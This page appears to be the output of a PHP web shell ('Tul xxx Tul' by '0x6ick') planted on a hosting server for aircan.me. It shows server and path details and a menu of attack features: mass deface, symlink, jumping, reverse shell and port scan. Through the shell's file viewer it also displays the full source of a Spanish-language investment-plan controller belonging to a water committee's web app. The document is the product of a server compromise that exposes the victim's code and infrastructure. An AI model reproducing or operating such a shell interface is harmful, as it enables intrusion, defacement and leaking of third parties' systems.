Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
controllers
/
Viewing: InvestmentPlansController.php
<?php class InvestmentPlansController extends BaseController { private array $planStatuses = ['Borrador','En ejecución','Finalizado']; private array $entryStatuses = ['Pendiente','En progreso','Completado','Reprogramado']; private array $months = [ 1 => 'Enero', 2 => 'Febrero', 3 => 'Marzo', 4 => 'Abril', 5 => 'Mayo', 6 => 'Junio', 7 => 'Julio', 8 => 'Agosto', 9 => 'Septiembre', 10 => 'Octubre', 11 => 'Noviembre', 12 => 'Diciembre' ]; public function index(): void { $csrf = $this->generateCsrf(); $yearParam = $_GET['year'] ?? null; $yearProvided = array_key_exists('year', $_GET); $filters = [ 'year' => ($yearParam === null || $yearParam === '') ? null : (int)$yearParam, 'status' => in_array($_GET['status'] ?? '', $this->planStatuses, true) ? $_GET['status'] : '', ]; $years = InvestmentPlan::getDistinctYears(); if (!$yearProvided && $filters['year'] === null && !empty($years)) { $filters['year'] = (int)$years[0]; } $plans = InvestmentPlan::getAll($filters); $summary = $this->computeGlobalSummary($plans); $this->renderView('investments/index', [ 'csrf' => $csrf, 'filters' => $filters, 'years' => $years, 'plans' => $plans, 'summary' => $summary, 'statuses' => $this->planStatuses, ]); } public function store(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { header('Location: ' . BASE_URL . '?route=inversiones.index'); exit; } if (!$this->validateCsrf()) { http_response_code(400); echo 'CSRF inválido'; return; } $year = (int)($_POST['year'] ?? date('Y')); $title = trim((string)($_POST['title'] ?? '')); $description = trim((string)($_POST['description'] ?? '')); $status = in_array($_POST['status'] ?? '', $this->planStatuses, true) ? $_POST['status'] : 'En ejecución'; if ($year < 2000 || $year > 2100 || $title === '') { setFlashMessage('error', 'Completa año (2000-2100) y título.'); header('Location: ' . BASE_URL . '?route=inversiones.index'); exit; } $userId = (int)($_SESSION['user']['id'] ?? 0); InvestmentPlan::create([ 'year' => $year, 'title' => $title, 'description' => $description ?: null, 'status' => $status, 'created_by_user_id' => $userId, 'updated_by_user_id' => $userId, ]); setFlashMessage('success', 'Plan creado.'); redirect('inversiones.index'); } public function show(): void { $id = (int)($_GET['id'] ?? 0); $plan = $id ? InvestmentPlan::findById($id) : null; if (!$plan) { http_response_code(404); echo 'Plan no encontrado'; return; } $csrf = $this->generateCsrf(); $entries = InvestmentPlanEntry::listByPlan($id); $summary = $this->computePlanSummary($plan, $entries); $this->renderView('investments/show', [ 'csrf' => $csrf, 'plan' => $plan, 'entries' => $entries, 'summary' => $summary, 'planStatuses' => $this->planStatuses, 'entryStatuses' => $this->entryStatuses, 'months' => $this->months, ]); } public function update(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inversiones.index'); } if (!$this->validateCsrf()) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); $plan = $id ? InvestmentPlan::findById($id) : null; if (!$plan) { http_response_code(404); echo 'Plan no encontrado'; return; } $payload = []; if (isset($_POST['title'])) { $payload['title'] = trim((string)$_POST['title']); } if (isset($_POST['description'])) { $payload['description'] = trim((string)$_POST['description']); } if (isset($_POST['year'])) { $payload['year'] = max(2000, min(2100, (int)$_POST['year'])); } if (isset($_POST['status']) && in_array($_POST['status'], $this->planStatuses, true)) { $payload['status'] = $_POST['status']; } $payload['updated_by_user_id'] = $_SESSION['user']['id'] ?? null; InvestmentPlan::update($id, $payload); setFlashMessage('success', 'Plan actualizado.'); header('Location: ' . BASE_URL . '?route=inversiones.show&id=' . $id); exit; } public function delete(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inversiones.index'); } if (!$this->validateCsrf()) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); $plan = $id ? InvestmentPlan::findById($id) : null; if (!$plan) { http_response_code(404); echo 'Plan no encontrado'; return; } $year = isset($_POST['year']) ? trim((string)$_POST['year']) : ''; $status = isset($_POST['status']) ? trim((string)$_POST['status']) : ''; $redirectUrl = BASE_URL . '?route=inversiones.index'; if ($year !== '' || $status !== '') { $redirectUrl .= '&year=' . urlencode($year) . '&status=' . urlencode($status); } $pdo = (new Database())->getConnection(); try { $pdo->beginTransaction(); InvestmentPlanEntry::deleteByPlan($id, $pdo); InvestmentPlan::delete($id, $pdo); $pdo->commit(); setFlashMessage('success', 'Plan eliminado.'); } catch (Throwable $e) { if ($pdo->inTransaction()) { $pdo->rollBack(); } setFlashMessage('error', 'No se pudo eliminar el plan: ' . $e->getMessage()); } header('Location: ' . $redirectUrl); exit; } public function entryStore(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inversiones.index'); } if (!$this->validateCsrf()) { http_response_code(400); echo 'CSRF inválido'; return; } $planId = (int)($_POST['plan_id'] ?? 0); $plan = $planId ? InvestmentPlan::findById($planId) : null; if (!$plan) { http_response_code(404); echo 'Plan no encontrado'; return; } $activity = trim((string)($_POST['activity_name'] ?? '')); $responsible = trim((string)($_POST['responsible'] ?? '')); $month = (int)($_POST['planned_month'] ?? 0); $budget = (float)($_POST['budget_planned'] ?? 0); if ($activity === '' || $responsible === '' || $month < 1 || $month > 12) { setFlashMessage('error', 'Completa actividad, responsable y mes válido.'); header('Location: ' . BASE_URL . '?route=inversiones.show&id=' . $planId); exit; } $userId = (int)($_SESSION['user']['id'] ?? 0); InvestmentPlanEntry::create([ 'plan_id' => $planId, 'activity_name' => $activity, 'responsible' => $responsible, 'planned_month' => $month, 'budget_planned' => $budget, 'budget_spent' => (float)($_POST['budget_spent'] ?? 0), 'status' => in_array($_POST['status'] ?? '', $this->entryStatuses, true) ? $_POST['status'] : 'Pendiente', 'is_completed' => !empty($_POST['is_completed']), 'progress_notes' => trim((string)($_POST['progress_notes'] ?? '')) ?: null, 'completed_at' => !empty($_POST['completed_at']) ? $_POST['completed_at'] : null, 'created_by_user_id' => $userId, 'updated_by_user_id' => $userId, ]); setFlashMessage('success', 'Actividad agregada.'); header('Location: ' . BASE_URL . '?route=inversiones.show&id=' . $planId); exit; } public function entryUpdate(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inversiones.index'); } if (!$this->validateCsrf()) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); $entry = $id ? InvestmentPlanEntry::find($id) : null; if (!$entry) { http_response_code(404); echo 'Actividad no encontrada'; return; } $payload = [ 'activity_name' => trim((string)($_POST['activity_name'] ?? $entry['activity_name'])), 'responsible' => trim((string)($_POST['responsible'] ?? $entry['responsible'])), 'planned_month' => max(1, min(12, (int)($_POST['planned_month'] ?? $entry['planned_month']))), 'budget_planned' => (float)($_POST['budget_planned'] ?? $entry['budget_planned']), 'budget_spent' => (float)($_POST['budget_spent'] ?? $entry['budget_spent']), 'status' => in_array($_POST['status'] ?? '', $this->entryStatuses, true) ? $_POST['status'] : $entry['status'], 'is_completed' => !empty($_POST['is_completed']), 'progress_notes' => trim((string)($_POST['progress_notes'] ?? '')) ?: null, 'completed_at' => !empty($_POST['completed_at']) ? $_POST['completed_at'] : null, 'updated_by_user_id' => $_SESSION['user']['id'] ?? null, ]; InvestmentPlanEntry::update($id, $payload); setFlashMessage('success', 'Actividad actualizada.'); header('Location: ' . BASE_URL . '?route=inversiones.show&id=' . (int)$entry['plan_id']); exit; } public function entryShow(): void { $id = (int)($_GET['id'] ?? 0); $entry = $id ? InvestmentPlanEntry::find($id) : null; if (!$entry) { http_response_code(404); echo 'Actividad no encontrada'; return; } $plan = InvestmentPlan::findById((int)$entry['plan_id']); if (!$plan) { http_response_code(404); echo 'Plan no encontrado'; return; } $csrf = $this->generateCsrf(); $this->renderView('investments/entry_show', [ 'entry' => $entry, 'plan' => $plan, 'months' => $this->months, 'entryStatuses' => $this->entryStatuses, 'csrf' => $csrf, ]); } public function entryDelete(): void { if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inversiones.index'); } if (!$this->validateCsrf()) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); $entry = $id ? InvestmentPlanEntry::find($id) : null; if (!$entry) { http_response_code(404); echo 'Actividad no encontrada'; return; } InvestmentPlanEntry::delete($id); setFlashMessage('success', 'Actividad eliminada.'); header('Location: ' . BASE_URL . '?route=inversiones.show&id=' . (int)$entry['plan_id']); exit; } public function exportPdf(): void { $id = (int)($_GET['id'] ?? 0); $plan = $id ? InvestmentPlan::findById($id) : null; if (!$plan) { http_response_code(404); echo 'Plan no encontrado'; return; } $entries = InvestmentPlanEntry::listByPlan($id); $summary = $this->computePlanSummary($plan, $entries); $autoload = __DIR__ . '/../vendor/autoload.php'; if (is_file($autoload)) { @require_once $autoload; } $html = $this->renderPlanHtml($plan, $entries, $summary); if (class_exists('Dompdf\\Dompdf')) { $dompdf = new Dompdf\Dompdf(); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'landscape'); $dompdf->render(); $dompdf->stream('Plan_Inversiones_' . $plan['year'] . '.pdf', ['Attachment' => true]); return; } header('Content-Type: text/html; charset=UTF-8'); echo $html; echo '<script>window.addEventListener("load",()=>setTimeout(()=>window.print(),200));</script>'; } public function exportGeneralExcel(): void { $yearParam = $_GET['year'] ?? null; $filters = [ 'year' => ($yearParam === null || $yearParam === '') ? null : (int)$yearParam, 'status' => in_array($_GET['status'] ?? '', $this->planStatuses, true) ? $_GET['status'] : '', ]; $plans = InvestmentPlan::getAll($filters); $autoload = __DIR__ . '/../vendor/autoload.php'; if (is_file($autoload)) { @require_once $autoload; } if (!class_exists(\PhpOffice\PhpSpreadsheet\Spreadsheet::class)) { http_response_code(500); echo 'Librería PhpSpreadsheet no disponible.'; return; } $spreadsheet = new \PhpOffice\PhpSpreadsheet\Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); $sheet->setTitle('Planes'); $sheet->setCellValue('A1', 'Resumen general del Plan de Inversiones'); $sheet->mergeCells('A1:G1'); $sheet->getStyle('A1')->getFont()->setBold(true)->setSize(14); $filterText = []; if (!empty($filters['year'])) { $filterText[] = 'Año: ' . $filters['year']; } if (!empty($filters['status'])) { $filterText[] = 'Estado: ' . $filters['status']; } $sheet->setCellValue('A2', $filterText ? implode(' · ', $filterText) : 'Sin filtros aplicados'); $sheet->mergeCells('A2:G2'); $sheet->getStyle('A2')->getFont()->setItalic(true)->setSize(10); $headers = ['A4' => 'Año', 'B4' => 'Plan', 'C4' => 'Estado', 'D4' => 'Actividades', 'E4' => 'Completadas', 'F4' => 'Presupuesto planificado', 'G4' => 'Presupuesto ejecutado']; foreach ($headers as $cell => $label) { $sheet->setCellValue($cell, $label); } $sheet->getStyle('A4:G4')->getFont()->setBold(true); $sheet->getStyle('A4:G4')->getFill()->setFillType(\PhpOffice\PhpSpreadsheet\Style\Fill::FILL_SOLID)->getStartColor()->setARGB('FF0D6EFD'); $sheet->getStyle('A4:G4')->getFont()->getColor()->setARGB('FFFFFFFF'); $row = 5; foreach ($plans as $plan) { $sheet->setCellValue("A{$row}", (int)$plan['year']); $sheet->setCellValue("B{$row}", $plan['title']); $sheet->setCellValue("C{$row}", $plan['status']); $sheet->setCellValue("D{$row}", (int)($plan['activities_count'] ?? 0)); $sheet->setCellValue("E{$row}", (int)($plan['completed_count'] ?? 0)); $sheet->setCellValue("F{$row}", (float)($plan['total_planned'] ?? 0)); $sheet->setCellValue("G{$row}", (float)($plan['total_spent'] ?? 0)); $row++; } $sheet->getStyle("F5:G{$row}")->getNumberFormat()->setFormatCode('#,##0.00'); foreach (range('A', 'G') as $col) { $sheet->getColumnDimension($col)->setAutoSize(true); } $sheet->getStyle("A4:G" . ($row - 1))->getBorders()->getAllBorders()->setBorderStyle(\PhpOffice\PhpSpreadsheet\Style\Border::BORDER_THIN)->getColor()->setARGB('FFCBD3E3'); header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); header('Content-Disposition: attachment; filename="Plan_Inversiones_Resumen.xlsx"'); header('Cache-Control: max-age=0'); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet); $writer->save('php://output'); exit; } public function exportGeneralPdf(): void { $yearParam = $_GET['year'] ?? null; $filters = [ 'year' => ($yearParam === null || $yearParam === '') ? null : (int)$yearParam, 'status' => in_array($_GET['status'] ?? '', $this->planStatuses, true) ? $_GET['status'] : '', ]; $plans = InvestmentPlan::getAll($filters); $summary = $this->computeGlobalSummary($plans); $autoload = __DIR__ . '/../vendor/autoload.php'; if (is_file($autoload)) { @require_once $autoload; } $html = $this->renderGeneralPlansHtml($plans, $summary, $filters); if (class_exists('Dompdf\\Dompdf')) { $dompdf = new Dompdf\Dompdf(); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'landscape'); $dompdf->render(); $dompdf->stream('Plan_Inversiones_Resumen.pdf', ['Attachment' => true]); return; } header('Content-Type: text/html; charset=UTF-8'); echo $html; echo '<script>window.addEventListener("load",()=>setTimeout(()=>window.print(),200));</script>'; } private function computeGlobalSummary(array $plans): array { $summary = [ 'total_plans' => count($plans), 'total_budget_planned' => 0, 'total_budget_spent' => 0, 'total_completed' => 0, 'total_activities' => 0, ]; foreach ($plans as $plan) { $summary['total_budget_planned'] += (float)($plan['total_planned'] ?? 0); $summary['total_budget_spent'] += (float)($plan['total_spent'] ?? 0); $summary['total_completed'] += (int)($plan['completed_count'] ?? 0); $summary['total_activities'] += (int)($plan['activities_count'] ?? 0); } return $summary; } private function computePlanSummary(array $plan, array $entries): array { $summary = [ 'total_activities' => count($entries), 'completed' => 0, 'in_progress' => 0, 'pending' => 0, 'reprogrammed' => 0, 'budget_planned' => 0, 'budget_spent' => 0, 'by_month' => array_fill(1, 12, ['planned' => 0, 'spent' => 0, 'count' => 0]), ]; foreach ($entries as $entry) { $summary['budget_planned'] += (float)$entry['budget_planned']; $summary['budget_spent'] += (float)$entry['budget_spent']; $month = max(1, min(12, (int)$entry['planned_month'])); $summary['by_month'][$month]['planned'] += (float)$entry['budget_planned']; $summary['by_month'][$month]['spent'] += (float)$entry['budget_spent']; $summary['by_month'][$month]['count'] += 1; if ($entry['status'] === 'Completado' || $entry['is_completed']) { $summary['completed']++; } elseif ($entry['status'] === 'En progreso') { $summary['in_progress']++; } elseif ($entry['status'] === 'Reprogramado') { $summary['reprogrammed']++; } else { $summary['pending']++; } } return $summary; } private function renderPlanHtml(array $plan, array $entries, array $summary): string { $generatedAt = date('d/m/Y H:i'); $systemData = SystemData::get(); $committeeName = trim((string)($systemData['committee_name'] ?? '')); if ($committeeName === '') { $committeeName = 'Comité de Agua Potable y Saneamiento'; } $providerReg = trim((string)($systemData['provider_registration_number'] ?? '')); $ruc = trim((string)($systemData['ruc_number'] ?? '')); $municipality = trim((string)($systemData['municipality'] ?? '')); $department = trim((string)($systemData['department'] ?? '')); $physicalAddress = trim((string)($systemData['physical_address'] ?? '')); $phone = trim((string)($systemData['phone'] ?? '')); if ($physicalAddress !== '') { $maxAddr = 110; if (mb_strlen($physicalAddress) > $maxAddr) { $physicalAddress = rtrim(mb_substr($physicalAddress, 0, $maxAddr)) . '...'; } } $locationLine = trim(implode(' - ', array_filter([$municipality, $department]))); $regRucLine = trim(implode(' | ', array_filter([ $providerReg !== '' ? ('Reg. prestador: ' . $providerReg) : '', $ruc !== '' ? ('RUC: ' . $ruc) : '', ]))); $contactLine = trim(implode(' | ', array_filter([ $physicalAddress !== '' ? ('Dir.: ' . $physicalAddress) : '', $phone !== '' ? ('Tel.: ' . $phone) : '', ]))); $logoDataUri = null; $logoRel = trim((string)($systemData['logo_path'] ?? '')); if ($logoRel !== '') { $logoAbs = dirname(__DIR__) . '/public/' . ltrim($logoRel, '/'); if (is_file($logoAbs)) { $ext = strtolower(pathinfo($logoAbs, PATHINFO_EXTENSION)); $mimeMap = [ 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'webp' => 'image/webp', 'gif' => 'image/gif', ]; $mime = $mimeMap[$ext] ?? 'application/octet-stream'; $bin = @file_get_contents($logoAbs); if ($bin !== false) { $logoDataUri = 'data:' . $mime . ';base64,' . base64_encode($bin); } } } ob_start(); ?> <!doctype html> <html lang="es"> <head> <meta charset="utf-8"> <title>Plan de Inversiones <?= htmlspecialchars($plan['year']) ?></title> <style> * { box-sizing: border-box; } body { font-family: 'Segoe UI', Arial, sans-serif; font-size: 12px; margin: 12px; color: #1f1f1f; } .membrete { border-bottom: 1px solid #ddd; padding-bottom: 6px; margin-bottom: 10px; } .membrete-table { width: 100%; border-collapse: collapse; table-layout: auto; } .membrete-logo { width: 64px; vertical-align: top; padding-right: 8px; } .membrete-logo img { width: 64px; height: 64px; object-fit: contain; } .membrete-info { vertical-align: top; } .membrete-right { width: 320px; vertical-align: top; text-align: right; } .membrete-title { font-size: 12px; font-weight: bold; margin: 0; line-height: 1.2; } .membrete-line { font-size: 9px; margin: 0; line-height: 1.2; color: #333; } .membrete-meta { font-size: 9px; color: #555; word-break: break-word; } h1, h2 { margin: 0 0 10px; } table { width: 100%; border-collapse: collapse; margin-top: 15px; } th, td { border: 1px solid #ddd; padding: 6px 8px; text-align: left; } th { background: #0d6efd; color: #fff; } .right { text-align: right; } .muted { color: #555; font-size: 11px; } .status-pill { display: inline-block; padding: 2px 8px; border-radius: 999px; font-size: 11px; color: #fff; font-weight: 600; } .status-pendiente { background:#6c757d; } .status-en-progreso { background: #ffc107; color:#000; } .status-completado { background:#198754; } .status-reprogramado { background:#d63384; } </style> </head> <body> <div class="membrete"> <table class="membrete-table"> <tr> <td class="membrete-logo"> <?php if (!empty($logoDataUri)): ?> <img src="<?= htmlspecialchars($logoDataUri) ?>" alt="Logo"> <?php endif; ?> </td> <td class="membrete-info"> <p class="membrete-title"><?= htmlspecialchars($committeeName) ?></p> <?php if ($regRucLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($regRucLine) ?></p> <?php endif; ?> <?php if ($locationLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($locationLine) ?></p> <?php endif; ?> <?php if ($contactLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($contactLine) ?></p> <?php endif; ?> </td> <td class="membrete-right"> <p class="membrete-title">Plan de inversiones</p> <div class="membrete-meta"><strong>Año:</strong> <?= htmlspecialchars((string)($plan['year'] ?? '')) ?></div> <div class="membrete-meta"><strong>Actividades:</strong> <?= (int)($summary['total_activities'] ?? 0) ?></div> <div class="membrete-meta"><strong>Planificado:</strong> <?= format_currency($summary['budget_planned'] ?? 0) ?></div> <div class="membrete-meta"><strong>Ejecutado:</strong> <?= format_currency($summary['budget_spent'] ?? 0) ?></div> <div class="membrete-meta"><strong>Generado:</strong> <?= htmlspecialchars($generatedAt) ?></div> </td> </tr> </table> </div> <h1>Plan de Inversiones <?= htmlspecialchars($plan['year']) ?></h1> <p><strong>Plan:</strong> <?= htmlspecialchars($plan['title']) ?><br> <strong>Estado:</strong> <?= htmlspecialchars($plan['status']) ?><br> <strong>Descripción:</strong> <?= htmlspecialchars($plan['description'] ?? 'Sin descripción') ?></p> <h2>Resumen</h2> <table> <tr> <th>Total actividades</th> <th>Completadas</th> <th>En progreso</th> <th>Pendientes</th> <th>Reprogramadas</th> <th>Presupuesto planificado</th> <th>Presupuesto ejecutado</th> </tr> <tr> <td class="right"><?= (int)$summary['total_activities'] ?></td> <td class="right"><?= (int)$summary['completed'] ?></td> <td class="right"><?= (int)$summary['in_progress'] ?></td> <td class="right"><?= (int)$summary['pending'] ?></td> <td class="right"><?= (int)$summary['reprogrammed'] ?></td> <td class="right"><?= format_currency($summary['budget_planned']) ?></td> <td class="right"><?= format_currency($summary['budget_spent']) ?></td> </tr> </table> <h2>Detalle de actividades</h2> <table> <thead> <tr> <th>Actividad</th> <th>Responsable</th> <th>Mes</th> <th>Estado</th> <th>Presupuesto planificado</th> <th>Presupuesto ejecutado</th> <th>Notas</th> </tr> </thead> <tbody> <?php if (!empty($entries)): foreach ($entries as $row): ?> <tr> <td><?= htmlspecialchars($row['activity_name']) ?></td> <td><?= htmlspecialchars($row['responsible']) ?></td> <td><?= htmlspecialchars($this->months[(int)$row['planned_month']] ?? $row['planned_month']) ?></td> <td> <?php $statusLabel = (string)($row['status'] ?? ''); $normalizedStatus = strtolower(iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $statusLabel)); $statusClass = 'status-' . preg_replace('/[^a-z0-9]+/', '-', trim($normalizedStatus)); ?> <span class="status-pill <?= htmlspecialchars($statusClass) ?>"><?= htmlspecialchars($statusLabel) ?></span> </td> <td class="right"><?= format_currency($row['budget_planned']) ?></td> <td class="right"><?= format_currency($row['budget_spent']) ?></td> <td><?= htmlspecialchars($row['progress_notes'] ?? '') ?></td> </tr> <?php endforeach; else: ?> <tr><td colspan="7" class="right" style="text-align:center;">Sin actividades registradas.</td></tr> <?php endif; ?> </tbody> </table> </body> </html> <?php return (string)ob_get_clean(); } private function renderGeneralPlansHtml(array $plans, array $summary, array $filters): string { $filterYear = $filters['year'] ?? null; $filterStatus = $filters['status'] ?? ''; $generatedAt = date('d/m/Y H:i'); $systemData = SystemData::get(); $committeeName = trim((string)($systemData['committee_name'] ?? '')); if ($committeeName === '') { $committeeName = 'Comité de Agua Potable y Saneamiento'; } $providerReg = trim((string)($systemData['provider_registration_number'] ?? '')); $ruc = trim((string)($systemData['ruc_number'] ?? '')); $municipality = trim((string)($systemData['municipality'] ?? '')); $department = trim((string)($systemData['department'] ?? '')); $physicalAddress = trim((string)($systemData['physical_address'] ?? '')); $phone = trim((string)($systemData['phone'] ?? '')); if ($physicalAddress !== '') { $maxAddr = 110; if (mb_strlen($physicalAddress) > $maxAddr) { $physicalAddress = rtrim(mb_substr($physicalAddress, 0, $maxAddr)) . '...'; } } $locationLine = trim(implode(' - ', array_filter([$municipality, $department]))); $regRucLine = trim(implode(' | ', array_filter([ $providerReg !== '' ? ('Reg. prestador: ' . $providerReg) : '', $ruc !== '' ? ('RUC: ' . $ruc) : '', ]))); $contactLine = trim(implode(' | ', array_filter([ $physicalAddress !== '' ? ('Dir.: ' . $physicalAddress) : '', $phone !== '' ? ('Tel.: ' . $phone) : '', ]))); $logoDataUri = null; $logoRel = trim((string)($systemData['logo_path'] ?? '')); if ($logoRel !== '') { $logoAbs = dirname(__DIR__) . '/public/' . ltrim($logoRel, '/'); if (is_file($logoAbs)) { $ext = strtolower(pathinfo($logoAbs, PATHINFO_EXTENSION)); $mimeMap = [ 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'webp' => 'image/webp', 'gif' => 'image/gif', ]; $mime = $mimeMap[$ext] ?? 'application/octet-stream'; $bin = @file_get_contents($logoAbs); if ($bin !== false) { $logoDataUri = 'data:' . $mime . ';base64,' . base64_encode($bin); } } } $filtersDesc = []; if (!empty($filterYear)) { $filtersDesc[] = 'Año: ' . $filterYear; } if (!empty($filterStatus)) { $filtersDesc[] = 'Estado: ' . $filterStatus; } $filtersLabel = $filtersDesc ? implode(' · ', $filtersDesc) : 'Sin filtros'; ob_start(); ?> <!doctype html> <html lang="es"> <head> <meta charset="utf-8"> <title>Resumen General - Plan de Inversiones</title> <style> * { box-sizing: border-box; } body { font-family: 'Segoe UI', Arial, sans-serif; font-size: 12px; color: #1f1f1f; margin: 12px; } .membrete { border-bottom: 1px solid #ddd; padding-bottom: 6px; margin-bottom: 10px; } .membrete-table { width: 100%; border-collapse: collapse; table-layout: auto; } .membrete-logo { width: 64px; vertical-align: top; padding-right: 8px; } .membrete-logo img { width: 64px; height: 64px; object-fit: contain; } .membrete-info { vertical-align: top; } .membrete-right { width: 340px; vertical-align: top; text-align: right; } .membrete-title { font-size: 12px; font-weight: bold; margin: 0; line-height: 1.2; } .membrete-line { font-size: 9px; margin: 0; line-height: 1.2; color: #333; } .membrete-meta { font-size: 9px; color: #555; word-break: break-word; } h1 { margin-bottom: 5px; } h2 { margin: 20px 0 10px; } .muted { color: #6c757d; } table { width: 100%; border-collapse: collapse; margin-top: 10px; } th, td { border: 1px solid #dfe3eb; padding: 8px; text-align: left; } th { background: #0d6efd; color: #fff; } .summary-grid { display: grid; grid-template-columns: repeat(4, minmax(150px,1fr)); gap: 12px; margin-top: 15px; } .summary-card { background: #f5f8ff; border: 1px solid #d6e4ff; border-radius: 10px; padding: 10px; } .summary-title { font-size: 11px; text-transform: uppercase; letter-spacing: .08em; color: #7c869a; } .summary-value { font-size: 18px; font-weight: 700; margin-top: 4px; } .status-pill { display: inline-block; padding: 2px 8px; border-radius: 999px; font-size: 10px; color: #fff; } .status-Borrador { background: #6c757d; } .status-En\ ejecución { background: #0d6efd; } .status-Finalizado { background: #198754; } .text-right { text-align: right; } .empty { text-align: center; padding: 40px; color: #6c757d; border: 1px dashed #c9d3e3; margin-top: 20px; } </style> </head> <body> <div class="membrete"> <table class="membrete-table"> <tr> <td class="membrete-logo"> <?php if (!empty($logoDataUri)): ?> <img src="<?= htmlspecialchars($logoDataUri) ?>" alt="Logo"> <?php endif; ?> </td> <td class="membrete-info"> <p class="membrete-title"><?= htmlspecialchars($committeeName) ?></p> <?php if ($regRucLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($regRucLine) ?></p> <?php endif; ?> <?php if ($locationLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($locationLine) ?></p> <?php endif; ?> <?php if ($contactLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($contactLine) ?></p> <?php endif; ?> </td> <td class="membrete-right"> <p class="membrete-title">Plan de inversiones (Resumen)</p> <div class="membrete-meta"><strong>Planes:</strong> <?= (int)($summary['total_plans'] ?? count($plans)) ?></div> <div class="membrete-meta"><strong>Actividades:</strong> <?= (int)($summary['total_activities'] ?? 0) ?></div> <div class="membrete-meta"><strong>Planificado:</strong> <?= format_currency($summary['total_budget_planned'] ?? 0) ?></div> <div class="membrete-meta"><strong>Ejecutado:</strong> <?= format_currency($summary['total_budget_spent'] ?? 0) ?></div> <div class="membrete-meta"><strong>Generado:</strong> <?= htmlspecialchars($generatedAt) ?></div> <div class="membrete-meta"><strong>Filtro:</strong> <?= htmlspecialchars($filtersLabel) ?></div> </td> </tr> </table> </div> <h1>Resumen general del Plan de Inversiones</h1> <p class="muted">Generado el <?= htmlspecialchars($generatedAt) ?><?= $filterYear ? ' · Año: ' . htmlspecialchars((string)$filterYear) : '' ?><?= $filterStatus ? ' · Estado: ' . htmlspecialchars((string)$filterStatus) : '' ?></p> <h2>Detalle de planes</h2> <?php if (!empty($plans)): ?> <table> <thead> <tr> <th>Año</th> <th>Plan</th> <th>Estado</th> <th>Actividades</th> <th>Completadas</th> <th>Presupuesto planificado</th> <th>Presupuesto ejecutado</th> <th>Saldo pendiente por ejecutar</th> </tr> </thead> <tbody> <?php foreach ($plans as $row): ?> <?php $saldoPendiente = (float)($row['total_planned'] ?? 0) - (float)($row['total_spent'] ?? 0); ?> <tr> <td><?= (int)$row['year'] ?></td> <td><?= htmlspecialchars($row['title']) ?></td> <td><span class="status-pill status-<?= str_replace(' ', '\\ ', htmlspecialchars($row['status'])) ?>"><?= htmlspecialchars($row['status']) ?></span></td> <td class="text-right"><?= (int)($row['activities_count'] ?? 0) ?></td> <td class="text-right"><?= (int)($row['completed_count'] ?? 0) ?></td> <td class="text-right"><?= format_currency($row['total_planned'] ?? 0) ?></td> <td class="text-right"><?= format_currency($row['total_spent'] ?? 0) ?></td> <td class="text-right"><?= format_currency($saldoPendiente) ?></td> </tr> <?php endforeach; ?> </tbody> </table> <?php else: ?> <div class="empty">No se registran planes para los filtros seleccionados.</div> <?php endif; ?> </body> </html> <?php return (string)ob_get_clean(); } }
Coded With 💗 by
0x6ick